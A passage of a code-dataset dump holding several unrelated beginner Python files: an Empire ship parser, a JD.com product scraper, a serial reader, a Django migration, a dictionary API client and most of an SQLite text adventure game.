\"rpath\"]\n for i in range(len(listOfMeaning)):\n dictAll[listOfMeaning[i]] = words[i]\n return dictAll\n\nfor line in sys.stdin.readlines():\n line = line.strip()\n words = line.split()\n if len(words) < 10:\n continue\n uid = int(words[0])\n key = uid\n\n # for i in range(len(listOfMeaning)):\n # All[listOfMeaning[i]] = words[i]\n sectors[key] = dictAll(words)\n\n# print()\n# print()\n# print()\n# print(sectors)\n\nfout = open(\"ship_sectors.p\", \"wb\")\npickle.dump(sectors, fout)\nfout.close()\n\n# print(\"as far as you know this is parsed\")\n# /usr/citlocal/cs4300/bin/empire -s empire.cs.dixie.edu:2832\n# xdump 1 * | ./parseShip.py","repo_name":"Marcos-R-G/Empire-AI","sub_path":"parseShip.py","file_name":"parseShip.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73842842027","text":"def es_adulto():\n edad = int(input(\"Escribe tu edad: \"))\n if edad < 18:\n print(\"Eres menor de edad\")\n else:\n print(\"Eres mayor de edad\")\n\ndef mayor_a_5():\n numero = int(input('Escribe un numero: '))\n\n if numero < 5:\n print('Es menor que 5')\n elif numero == 5:\n print('Es igual a 5')\n else:\n print('Es mayor que 5')\n\nif __name__ == '__main__':\n es_adulto()\n mayor_a_5()","repo_name":"JuanRCifuentes/Datacademy","sub_path":"Scripts/condicionales.py","file_name":"condicionales.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16219334297","text":"import time\nfrom bs4 import BeautifulSoup\nimport json\nimport requests\nfrom urllib.parse import quote\nimport pandas\n\n# def write_data(price,title,comment):\n# f = open('手机.txt','a')\n# dict = {'价格':price, '标题':title, '评论':comment}\n# data = json.dumps(dict, ensure_ascii=False)\n# f.write(data + '\\n')\n\n\n\ndef search(page_source):\n soup = BeautifulSoup(page_source,'lxml')\n contents = soup.find_all('div',{'class':'gl-i-wrap'})\n data=[]\n for content in contents:\n result={}\n result['price'] = content.find('div',{'class':'p-price'}).find('em').string + content.find('div',{'class':'p-price'}).find('i').string\n result['title'] = content.find('a').attrs['title']\n result['comment'] = content.find('div',{'class':'p-commit'}).find('strong').find('a').string\n data.append(result)\n # write_data(price,title,comment)\n return data\n\ndef nextPage():\n k = 0\n news=[]\n while True:\n try:\n k = k + 1\n m = 2 * k + 1\n url = 'https://search.jd.com/Search?keyword=%E8%B6%85%E5%B8%82%E8%B4%A7%E6%9E%B6&enc=utf-8&qrst=1&rt=1&stop=1&vt=2&wq=%E8%B6%85%E5%B8%82%E8%B4%A7%E6%9E%B6&psort=' + str(m)\n # print(url)\n response = requests.get(url)\n response.encoding='utf-8'\n for i in search(response.text):\n news.append(i)\n\n print(k)\n if k==3:\n break\n except Exception as e:\n print(e)\n pass\n print(news)\n return news\n\ndef main():\n data=nextPage()\n df = pandas.DataFrame(data)\n print(df.head(10))\n # 保存到本地excel文档\n df.to_excel('商品信息.xlsx')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"YuZiHao666/JDpython3PaChong","sub_path":"jingd.py","file_name":"jingd.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13576742859","text":"import serial\n# to print to file: usbSerialFile.py >> log.txt\n\n#Set up serial port\nser = serial.Serial(\n port=\"/dev/tty.usbmodem12341\",\\\n baudrate=9600,\\\n parity=serial.PARITY_NONE,\\\n stopbits=serial.STOPBITS_ONE,\\\n bytesize=serial.EIGHTBITS,\\\n timeout=0)\n\nprint(\"connected to: \" + ser.portstr)\n\n#Variable to store data from serial port\nline = []\n\n#Open file to save data in\n# f = open('myfile','w')\n\n#Print data from serial port to screen\nwhile True:\n for c in ser.read():\n line.append(c)\n if c == '\\n':\n print(line)\n # f.write(line + os.linesep) # python will convert \\n to os.linesep\n line = []\n break\n# f.close() # you can omit in most cases as the destructor will call it\nser.close()","repo_name":"Feyre/345Final","sub_path":"Raspberry Pi/Python/usbSerialFile.py","file_name":"usbSerialFile.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16862647798","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('transit_indicators', '0025_auto_20140908_2041'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='indicator',\n name='city_name',\n field=models.CharField(default='My City', max_length=255),\n ),\n ]\n","repo_name":"WorldBank-Transport/open-transit-indicators","sub_path":"python/django/transit_indicators/migrations/0026_auto_20140911_2016.py","file_name":"0026_auto_20140911_2016.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"37"} +{"seq_id":"35811118152","text":"# encoding: utf-8\n\nimport requests\nimport re\nfrom pyquery import PyQuery\nimport pdb\ndebug = pdb.set_trace\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36'}\n\nclass Yourdictionary(object):\n URL = \"https://api.yourdictionary.com/words/{word}/sentences/en?limit=250\"\n\n def search(self, word):\n response = requests.get(self.URL.format(word=word), headers=headers).json()\n if ('Code' in response and response['Code'] == 'NotFoundError') or ('message' in response and 'No results found for word' in response['message']):\n return {\"status\": 'error', \"error_detail\": \"Nothing found.\"}\n else:\n return {\"status\": 'success', \"results\": response['data']['sentences']}\n\nif __name__ == '__main__':\n import json\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('-w', '--word', default='test')\n a = parser.parse_args()\n d = Yourdictionary()\n print(json.dumps(d.search(a.word), indent=2, ensure_ascii=False))\n","repo_name":"hrdrq/dictionary","sub_path":"server/en/parser/yourdictionary.py","file_name":"yourdictionary.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29109690557","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreating, loading, saving and maintaining rooms and their objects.\n\nFor all items/objects, a roomId of -1 means the object/item has been destroyed.\nA roomId of 0 means the item has been picked up and is in the players inventory.\nA roomId of 1 through 7 points to the Id of the room that the item is currently\nlocated in.\n\nplayerLocation points to the Id of the room the player is currently in.\n\"\"\"\n\nimport sqlite3, random\n\nplayerLocation = 1\ngameFinished = False\n\nwolfBlessing = False\nowlBlessing = False\nbatBlessing = False\nspiderBlessing = False\n\n\nvestibuleQuery = \"INSERT INTO Rooms VALUES ('1', 'True', 'the Vestibule', 'You \\\ncan not help but notice the beautiful architecture. Large stone pillars are pla\\\nced evenly spaced around the room. You spot a large, distinct, wooden chest in\\\n the northeastern corner.', 'Perhaps you can use something found in the room\\\n to open the chest. It might contain something useful.')\"\n\nhallwayQuery = \"INSERT INTO Rooms VALUES ('2', 'False', 'the Hallway', 'The \\\nHallway is not quite as grand of a sight as the Vestibule. Parts of the roof \\\nappears to have caved in over the door. There is a beautiful painting hanging \\\nfrom the wall on the west side.', 'There is no way to go through the rocks, \\\nbut perhaps you can somehow climb over them?')\"\n\ndiningHallQuery = \"INSERT INTO Rooms VALUES ('3', 'False', 'Nerzias Dining \\\nHall', 'The Dining Hall is a very dark and quite place. There does not seem to \\\nbe anything special in sight.', 'To move forward, the riddle you must beat.')\"\n\ntowerQuery = \"INSERT INTO Rooms VALUES ('4', 'False', 'the Tower', 'The Tower\\\n appears to be very barren, there are what appears to be 4 stone statues in the\\\n room.', 'Answering the questions will get you forward on your missions. Just \\\nremember that you are also a specie.')\"\n\nantechamberQuery = \"INSERT INTO Rooms VALUES ('5', 'False', 'the Lost Antecham\\\nber', 'You have entered what appears to be some sort of antechamber. From the \\\nlooks of it, nobody has been here for a long time.', 'Find the door.')\"\n\nlaboratoryQuery = \"INSERT INTO Rooms VALUES ('6', 'False', 'the Alchemists\\\n Laboratory', 'It is Nerzia himself, right infront of you!', 'Type forward \\\nto engage in combat with Nerzia, beat him to unlock the next room.')\"\n\nvaultQuery = \"INSERT INTO Rooms VALUES ('7', 'False', 'the Keepers Vault', 'The\\\n Keepers Vault is the final of the seven. It is THE room, the room in which the\\\n Staff of Netherwind lies. A large stone tomb is located in the middle of the \\\n otherwise empty room, that must be where the staff lies.', 'To retrieve the \\\n staff, simply open the tomb.')\"\n\n\nroomQueries = (vestibuleQuery, hallwayQuery, diningHallQuery, towerQuery, \\\nantechamberQuery, laboratoryQuery, vaultQuery)\n\n\nkey = \"INSERT INTO Objects VALUES ('1', '-1', 'Key', 'A small \\\nsilver key, embellished with a large N made out of gold on the front. It almost\\\n looks like it could fit into that door over there...', 'True', 'False', '0', \\\n'False', 'False', 'False')\"\n\nchest = \"INSERT INTO Objects VALUES ('2', '1', 'Chest', 'A large, \\\ndistinct wooden chest with beautiful inscriptions on it. Looks like it could \\\ncontain something valueable.', 'False', 'False', '1', 'False', 'False', 'True')\"\n\nhammer = \"INSERT INTO Objects VALUES ('3', '-1', 'Hammer', 'A robust hammer. \\\nYou could probably use this to smash the chest in.', 'True', 'False', '0', \\\n'False', 'False', 'False')\"\n\ntoolbox = \"INSERT INTO Objects VALUES ('4', '1', 'Toolbox', 'There are still \\\nsome tools inside.', 'False', 'True', '3', 'False', 'False', 'False')\"\n\n\nladder = \"INSERT INTO Objects VALUES ('5', '2', 'Ladder', \\\n'An iron ladder, looks tall enough.', 'False', 'False', '0', 'False', \\\n'True', 'False')\"\n\nrope = \"INSERT INTO Objects VALUES ('6', '2', 'Rope', 'The rope seem to be \\\nquite long and sturdy.', 'False', 'False', '0', 'False', 'True', 'False')\"\n\npainting = \"INSERT INTO Objects VALUES ('7', '0', 'Painting', 'A beautiful \\\npainting.', 'False', 'False', '0', 'False', 'True', 'False')\"\n\n\nstatue1 = \"INSERT INTO Objects VALUES ('8', '4', 'Owl', 'A stone statue \\\nof an owl.', 'False', 'False', '0', 'False', 'False', 'False')\"\n\nstatue2 = \"INSERT INTO Objects VALUES ('9', '4', 'Wolf', 'A stone statue \\\nof a wolf.', 'False', 'False', '0', 'False', 'False', 'False')\"\n\nstatue3 = \"INSERT INTO Objects VALUES ('10', '4', 'Bat', 'A stone statue \\\nof a bat.', 'False', 'False', '0', 'False', 'False', 'False')\"\n\nstatue4 = \"INSERT INTO Objects VALUES ('11', '4', 'Spider', 'A stone statue \\\nof a spider', 'False', 'False', '0', 'False', 'False', 'False')\"\n\n\ntomb = \"INSERT INTO Objects VALUES ('12', '7', 'Tomb', 'A large beautiful tomb,\\\n it has some foreign inscriptions on it, almost looks like ancient Egyptian.', \\\n 'False', 'True', '0', 'False', 'False', 'False')\"\n\n\nwardrobe = \"INSERT INTO Objects VALUES ('13', '5', 'Wardrobe', 'A beautifully \\\nself-carved wardrobe made out of wood.', 'False', 'False', '0', 'False', \\\n'False', 'True')\"\n\npainting = \"INSERT INTO Objects VALUES ('14', '5', 'Painting', 'A \\\nlarge waterpainting.', 'False', 'False', '0', 'False', 'False', 'True')\"\n\n\n\n\n\n\nitemQueries = (key, chest, hammer, toolbox, ladder, rope, statue1, \\\nstatue2, statue3, statue4, tomb, wardrobe, painting)\n\n\ndef initialize():\n \"\"\"\n Initializes the game, creating the tables, and inserting the data.\n \"\"\"\n\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n \"\"\"\n Database Structure:\n\n Table: Rooms\n id INTEGER\n unlocked BOOLEAN\n name TEXT\n description TEXT\n clue TEXT\n\n Table: Objects\n id INTEGER\n roomId INTEGER - -1 = Not Yet Looted, 0 = In Player Inventory\n name TEXT\n description TEXT\n droppable BOOLEAN\n lootable BOOLEAN\n contains INTEGER\n looted BOOLEAN\n movable BOOLEAN\n destroyable BOOLEAN\n \"\"\"\n\n dbc.execute(\"DROP TABLE IF EXISTS Rooms\")\n dbc.execute(\"DROP TABLE IF EXISTS Objects\")\n dbc.execute(\"CREATE TABLE Rooms (id INTEGER, unlocked TEXT, \\\nname TEXT, description TEXT, clue TEXT)\")\n dbc.execute(\"CREATE TABLE Objects (id INTEGER, \\\nroomId INTEGER, name TEXT, description TEXT, droppable TEXT, \\\nlootable TEXT, contains INTEGER, looted TEXT, movable TEXT, \\\ndestroyable TEXT)\")\n\n for query in roomQueries:\n try:\n dbc.execute(query)\n except Exception as err:\n print(err)\n\n for query in itemQueries:\n try:\n dbc.execute(query)\n except Exception as err:\n print(err)\n\n connection.commit()\n connection.close()\n\n\ndef bossFight():\n \"\"\"\n A mini-game where you have to beat a boss to continue\n \"\"\"\n playerHealth = 100\n bossHealth = 1000\n\n print(\"You have been challenged to duel by Nerzia. Beat him to unlock the \\\ndoor to the next room.\\n\")\n\n while playerHealth > 0 and bossHealth > 0:\n print(\"It's your turn to strike. What spell do you use?\")\n print(\"Available spells: Fireball, Missiles\")\n cast = input(\"Cast: \")\n\n if cast.lower() == 'fireball':\n damage = random.randint(150, 250)\n bossHealth = bossHealth - damage\n\n if bossHealth <= 0:\n print(\"\\nYou won! Passage to the next room has been granted.\")\n unlockVault()\n else:\n print(\"You hit Nerzia for\", damage, \"damage! He has\", bossHealth, \\\n\"health left.\\n\")\n\n elif cast.lower() == 'missiles':\n damage = 5*random.randint(25, 75)\n bossHealth = bossHealth - damage\n\n if bossHealth <= 0:\n print(\"\\nYou won! Passage to the next room has been granted.\")\n unlockVault()\n else:\n print(\"You hit Nerzia for\", damage, \"damage! He has\", bossHealth, \\\n\"health left.\\n\")\n else:\n print(\"That is not a valid spellname.\\n\")\n\n bossAttack = random.randint(5, 20)\n playerHealth = playerHealth - bossAttack\n\n if playerHealth <= 0:\n print(\"You lost. Try again!\")\n else:\n print(\"Nerzia hit you for\", bossAttack, \"damage. You have\", \\\nplayerHealth, \"health left.\\n\")\n\n\ndef wolfEquation():\n \"\"\"\n Equation for the wolf statue.\n \"\"\"\n global wolfBlessing\n\n if wolfBlessing:\n print(\"You have already been granted this blessing.\")\n return\n\n print(\"The statue rumbles as it wakes to life. To recieve the wolf's \\\nblessing, you must first pass its test. Answer the following:\")\n print(\"In a room there are 6 wolfs and 2 spiders. How many legs are there \\\nin total?\")\n answer = input(\"Answer: \")\n\n if answer == \"40\":\n print(\"You have answered correctly. You have been granted the \\\nblessing of the Wolf.\")\n wolfBlessing = True\n else:\n print(\"Your answer is incorrect. The statue turns back to stone.\")\n\ndef owlEquation():\n \"\"\"\n Equation for the owl statue.\n \"\"\"\n global owlBlessing\n\n if owlBlessing:\n print(\"You have already been granted this blessing.\")\n return\n\n print(\"The statue rumbles as it wakes to life. To recieve the owl's \\\nblessing, you must first pass its test. Answer the following:\")\n print(\"If one owl can fly 200 meters vertically up into the sky, how many \\\nmeters up into the sky can two owls fly?\")\n answer = input(\"Answer: \")\n\n if answer == \"200\":\n print(\"You have answered correctly. You have been granted the \\\nblessing of the Owl.\")\n owlBlessing = True\n else:\n print(\"Your answer is incorrect. The statue turns back to stone.\")\n\ndef spiderEquation():\n \"\"\"\n Equation for the spider statue.\n \"\"\"\n global spiderBlessing\n\n if spiderBlessing:\n print(\"You have already been granted this blessing.\")\n return\n\n print(\"The statue rumbles as it wakes to life. To recieve the wolf's \\\nblessing, you must first pass its test. Answer the following:\")\n print(\"If 5x-3*2 = 9, what is x^2+3x?\")\n answer = input(\"Answer: \")\n\n if answer == \"18\":\n print(\"You have answered correctly. You have been granted the \\\nblessing of the Wolf.\")\n spiderBlessing = True\n else:\n print(\"Your answer is incorrect. The statue turns back to stone.\")\n\ndef batEquation():\n \"\"\"\n Equation for the bat statue.\n \"\"\"\n global batBlessing\n\n if batBlessing:\n print(\"You have already been granted this blessing.\")\n return\n\n print(\"The statue rumbles as it wakes to life. To recieve the wolf's \\\nblessing, you must first pass its test. Answer the following:\")\n print(\"There are currently how many different species in this room?\")\n answer = input(\"Answer: \")\n\n if answer == \"5\":\n print(\"You have answered correctly. You have been granted the \\\nblessing of the Wolf.\")\n batBlessing = True\n else:\n print(\"Your answer is incorrect. The statue turns back to stone.\")\n\n\ndef theRiddler():\n \"\"\"\"\n Plays a game of riddles. Win to move foward in the game.\n \"\"\"\n q1 = {\"Question\": \"Which two things can you never eat for breakfast?\", \\\n\"A\": \"Milk and Cereal\", \"B\": \"Beef and Potatoes\", \"C\": \"Lunch and Dinner\", \\\n\"Answer\": \"C\"}\n\n q2 = {\"Question\": \"If it's information you seek, come and see me. If it's \\\npairs of letters you need, I have consecutively three. Who am I?\", \\\n\"A\": \"Wikipedia\", \"B\": \"A Bookkeeper\", \"C\": \"The Alphabet\", \"Answer\": \"B\"}\n\n q3 = {\"Question\": \"I only exist where there is light, but I die if light \\\nis shone upon me.\", \"A\": \"A shadow\", \"B\": \"The human race\", \\\n\"C\": \"A type of bug\", \"Answer\": \"A\"}\n\n q4 = {\"Question\": \"Every night you tell me what to do, and every morning \\\nI do what I am told. Still you hate me. What am I?\", \"A\": \"A cat\", \\\n\"B\": \"An alarm clock\", \"C\": \"The law\", \"Answer\": \"B\"}\n\n q5 = {\"Question\": \"What is it that no man wants, but no man wants \\\nto lose?\", \"A\": \"A baby\", \"B\": \"A woman\", \"C\": \"A lawsuit\", \"Answer\": \"C\"}\n\n riddles = (q1, q2, q3, q4, q5)\n\n print(\"You have been challenged to a game of riddles. Shall you win\\\n, you will be allowed passage into the next room. You will be presented with a \\\nriddle and 3 answers. Simply answer with the letter of the answer you think is \\\ncorrect, A, B, or C.\")\n\n print(\"\\nThe Riddler says: I will start you off with an easy one.\\n\")\n input(\"Press Enter to Continue...\")\n\n incorrectCount = 0\n for riddle in riddles:\n incorrect = True\n\n while incorrect:\n print(riddle[\"Question\"])\n print(\"A)\", riddle[\"A\"])\n print(\"B)\", riddle[\"B\"])\n print(\"C)\", riddle[\"C\"])\n\n a = input(\"Answer: \")\n answer = a.upper()\n\n if answer == riddle[\"Answer\"]:\n print(\"\\nThe Riddler says: You are correct.\\n\")\n incorrect = False\n else:\n incorrectCount += 1\n print(\"\\nThe Riddler says: Incorrect! Try again...\\n\")\n\n\n if incorrectCount == 0:\n unlockKitchen()\n print(\"The Riddler says: Congratulations. You have earned passage to \\\nthe next room.\")\n else:\n print(\"The Riddler says: Looks like you took quite a few too many \\\nwrong guesses. Feel free to try again.\")\n\n\ndef roomInformation():\n \"\"\"\n Prints room information.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n roomId = playerLocation\n\n dbc.execute(\"SELECT description FROM Rooms WHERE id = ?\", str(roomId))\n ret = str(dbc.fetchone()[0])\n\n connection.close()\n\n return ret\n\n\ndef isUnlocked():\n \"\"\"\n Checks if the given room (roomId) is unlocked or not.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n loc = str(playerLocation+1)\n dbc.execute(\"SELECT unlocked FROM Rooms WHERE id = ?\", loc)\n res = dbc.fetchone()[0]\n\n connection.close()\n\n if res == 'True':\n return True\n else:\n return False\n\n\ndef gameHelp():\n \"\"\"\n Prints game help.\n \"\"\"\n print(\"\"\"\\nAvailable commands are:\n q, quit - Quit the game.\n fwd, forward - Move into the next room (if unlocked).\n ba, backwards - Move back to the previous room.\n i, info - Prints the room description.\n v, view - Prints out anything noteworthy in the room.\n c, clue - Prints a clue on how to pass the current room.\n h, help - Prints the help menu (current).\n\n o, object - Prints out the objects in the current room.\n s [obj], see [obj] - Prints the description of the selected object.\n o [obj], open [obj] - Open the selected object, if possible.\n k [obj], kick [obj] - Breaks the selected object, if possible.\n m [obj], move [obj] - Moves the selected object, if possible.\n \"\"\")\n\n\ndef moveForward():\n \"\"\"\n Moves the player into the next room (if unlocked)\n \"\"\"\n global playerLocation\n\n unlockHallway()\n\n if playerLocation == 4:\n unlockAntechamber()\n\n unlocked = isUnlocked()\n\n if playerLocation == 7:\n print(\"You can't go that way.\")\n elif playerLocation == 6 and not unlocked:\n bossFight()\n elif playerLocation == 3 and not unlocked:\n theRiddler()\n elif unlocked:\n playerLocation = playerLocation + 1\n\n roomImage(playerLocation)\n desc = roomInformation()\n print(desc)\n else:\n print(\"That door is locked!\")\n\n\ndef moveBackwards():\n \"\"\"\n Moves the player into the next room (if not in room #1)\n \"\"\"\n global playerLocation\n\n if playerLocation == 1:\n print(\"You can't go that way.\")\n else:\n playerLocation = playerLocation - 1\n\n roomImage(playerLocation)\n desc = roomInformation()\n print(desc)\n\n\ndef viewRoom():\n \"\"\"\n Fetches all the current items in the room by roomID.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"SELECT name, description FROM Objects WHERE roomID = ?\", \\\n str(playerLocation))\n\n print(\"In the current room, you find:\")\n\n items = dbc.fetchall()\n for item in items:\n try:\n print(str(item[0]))\n except Exception as err:\n print(err)\n\n connection.close()\n\n\ndef clue():\n \"\"\"\n Displays a clue on how to unlock the next room.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"SELECT clue FROM Rooms WHERE id = ?\", str(playerLocation))\n print(dbc.fetchone()[0])\n\n connection.close()\n\n\ndef seeObject(obj):\n \"\"\"\n Displays info on the selected object.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n name = obj[0].upper() + obj[1:].lower()\n\n try:\n dbc.execute(\"SELECT description, roomId FROM Objects \\\nWHERE name = (?)\", (name,))\n row = dbc.fetchone()\n if row is not None:\n desc = row[0]\n room = row[1]\n\n if room == playerLocation or room == 0:\n print(desc)\n else:\n print(\"Object not found.\")\n else:\n print(\"Object not found.\")\n\n connection.close()\n except Exception as err:\n print(\"Error:\", err)\n\n\ndef kickObject(obj):\n \"\"\"\n Opens the selected object.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n name = obj[0].upper() + obj[1:].lower()\n\n try:\n dbc.execute(\"SELECT destroyable, contains, looted, roomId FROM Objects \\\nWHERE name = (?)\", (name,))\n row = dbc.fetchall()\n\n if len(row) < 1:\n print(\"Object not found.\")\n return\n\n if row is not None:\n destroyable = row[0][0]\n cId = row[0][1]\n looted = row[0][2]\n room = row[0][3]\n\n if room is not playerLocation:\n print(\"Object not found.\")\n return\n\n if destroyable == \"True\" and looted == \"False\":\n if name == \"Chest\":\n if not playerHasHammer():\n print(\"You need something stronger to destroy the \\\nchest.\")\n return\n\n dbc.execute(\"UPDATE Objects SET looted = 'True', roomId = '-1' \\\nWHERE name = (?)\", (name,))\n dbc.execute(\"UPDATE Objects SET roomId = (?) WHERE id = (?)\", \\\n('0', cId))\n dbc.execute(\"SELECT name FROM Objects WHERE id = (?)\", (cId,))\n item = dbc.fetchone()[0]\n\n connection.commit()\n\n print(\"You destroyed the\", name, \"and found a\", item, \"inside!\")\n\n elif destroyable == \"False\":\n print(\"You can't destroy that object.\")\n\n elif looted == \"True\":\n print(\"Object not found.\")\n else:\n print(\"Object not found.\")\n\n connection.close()\n except Exception as err:\n print(\"Error:\", err)\n\n\ndef openObject(obj):\n \"\"\"\n Destroys the selected object.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n name = obj[0].upper() + obj[1:].lower()\n\n if name == \"Chest\" and playerLocation == 1:\n print(\"That object is locked.\")\n elif name == \"Owl\" and playerLocation == 4:\n owlEquation()\n elif name == \"Spider\" and playerLocation == 4:\n spiderEquation()\n elif name == \"Bat\" and playerLocation == 4:\n batEquation()\n elif name == \"Wolf\" and playerLocation == 4:\n wolfEquation()\n elif name == \"Tomb\" and playerLocation == 7:\n global gameFinished\n gameFinished = True\n\n print(\"Waleria says: The Staff of Netherwind! So it is true, the \\\nstaff exists. You did it, the staff has been retrieved.\")\n print(\"\\nYou have beaten the game. Thank you for playing.\")\n input(\"Press Enter to Quit...\")\n\n else:\n try:\n dbc.execute(\"SELECT lootable, contains, looted, roomId FROM Objects\\\n WHERE name = (?)\", (name,))\n row = dbc.fetchall()\n\n if len(row) < 1:\n print(\"Object not found.\")\n return\n\n if row is not None:\n openable = row[0][0]\n cId = row[0][1]\n looted = row[0][2]\n room = row[0][3]\n\n if room is not playerLocation:\n print(\"Object not found.\")\n return\n\n if openable == \"True\" and looted == \"False\":\n dbc.execute(\"UPDATE Objects SET looted = 'True' WHERE \\\nname = (?)\", (name,))\n dbc.execute(\"UPDATE Objects SET roomId = (?) WHERE \\\nid = (?)\", ('0', cId))\n dbc.execute(\"SELECT name FROM Objects WHERE id = (?)\", \\\n(cId,))\n item = dbc.fetchone()[0]\n\n connection.commit()\n\n print(\"Opening the\", name, \"you found a\", item)\n\n elif openable == \"False\":\n print(\"That object cannot be opened.\")\n\n elif looted == \"True\":\n print(\"You have already opened that object.\")\n else:\n print(\"Object not found.\")\n\n connection.close()\n except Exception as err:\n print(\"Error:\", err)\n\n\ndef moveObject(obj):\n \"\"\"\n Moves the selected object.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n global playerLocation\n\n name = obj[0].upper() + obj[1:].lower()\n\n if playerLocation == 2:\n if name == \"Ladder\":\n print(\"You moved the ladder to the cave-in. It wasn't high \\\nenough to get you past the rumble.\")\n elif name == \"Rope\":\n print(\"You threw the rope over the rumble and dragged it towards \\\nyou. It seem to have hooked onto something. You're able to move into the next \\\nroom!\")\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True' WHERE id = '3'\")\n elif name == \"Painting\":\n print(\"Moving the painting, you notice something strange, there \\\nseem to be some kind of seam behind the painting in the wall. Upon further \\\ninspection you notice that it's a trapdoor. You choose to enter and follow the \\\npath. You end up in what appears to be the final chamber, the Keeper's Vault!\")\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True'\")\n\n playerLocation = 7\n\n input(\"Press Enter to Continue...\")\n\n roomImage(playerLocation)\n desc = roomInformation()\n print(desc)\n\n elif playerLocation == 5:\n if name == \"Painting\":\n print(\"Waleria says: There doesn't appear to be anything special behind the \\\npainting.\")\n elif name == \"Wardrobe\":\n print(\"Waleria says: There is a hole behind the wardrobe! \\\nYou found the passage to the next room!!\")\n unlockLab()\n\n connection.commit()\n connection.close()\n\n\ndef unlockHallway():\n \"\"\"\n Checks if the roomId of Key is 0 == Player has acquired Key and can unlock\n the door to the next room.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"SELECT roomId FROM Objects WHERE name = 'Key'\")\n itemLoc = dbc.fetchone()\n\n if itemLoc[0] == 0:\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True' WHERE id = '2'\")\n dbc.execute(\"UPDATE Objects SET roomId = '-1' WHERE name = 'Key'\")\n print(\"Waleria says: The key was a perfect match. The door to enter \\\nthe next room has been unlocked!\")\n\n connection.commit()\n connection.close()\n\n\ndef unlockKitchen():\n \"\"\"\n Unlocks the kitchen.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True' WHERE id = '4'\")\n\n connection.commit()\n connection.close()\n\n\ndef unlockAntechamber():\n \"\"\"\n Unlocks the Antechamber.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n\n if owlBlessing and wolfBlessing and spiderBlessing and batBlessing:\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True' WHERE id = '5'\")\n print(\"Waleria says: The door to the next room has been unlocked!\")\n else:\n print(\"Waleria says: You must acquire all 4 blessings before the door \\\nunlocks.\")\n\n connection.commit()\n connection.close()\n\n\ndef unlockLab():\n \"\"\"\n Checks if the roomId of Key is 0 == Player has acquired Key and can unlock\n the door to the next room.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True' WHERE id = '6'\")\n\n connection.commit()\n connection.close()\n\n\ndef unlockVault():\n \"\"\"\n Checks if the roomId of Key is 0 == Player has acquired Key and can unlock\n the door to the next room.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"UPDATE Rooms SET unlocked = 'True' WHERE id = '7'\")\n\n connection.commit()\n connection.close()\n\n\ndef playerHasHammer():\n \"\"\"\n Checks if the roomId of Hammer is 0 == Player has acquired Hammer.\n \"\"\"\n connection = sqlite3.connect(\"game.sqlite\")\n dbc = connection.cursor()\n\n dbc.execute(\"SELECT roomId FROM Objects WHERE name = 'Hammer'\")\n itemLoc = dbc.fetchone()[0]\n\n if itemLoc == 0:\n dbc.execute(\"UPDATE Objects SET roomId = '-1' WHERE name = 'Hammer'\")\n return True\n else:\n return False\n\n connection.commit()\n connection.close()\n\n\ndef roomImage(location):\n \"\"\"\n Prints the room image when entering a new room.\n \"\"\"\n if location == 1:\n print(room1Image)\n elif location == 2:\n print(room2Image)\n elif location == 3:\n print(room3Image)\n elif location == 4:\n print(room4Image)\n elif location == 5:\n print(room5Image)\n elif location == 6:\n print(room6Image)\n elif location == 7:\n print(room7Image)\n\nroom1Image = r\"\"\"\n▬▬▬▬▬▬▬▬▬▬▬___▬▬▬▬▬▬▬▬▬▬▬\n▌ ■ ▐\n▌ ● ● ▐\n▌║ ● ● ▐\n▌ ● ● ▐\n▌ ● ● ▐\n▌ ● ● ▐\n▌ ● o ● ▐\n▌ ● ● ● ● ▐\n▬▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬▬\nYou have entered the 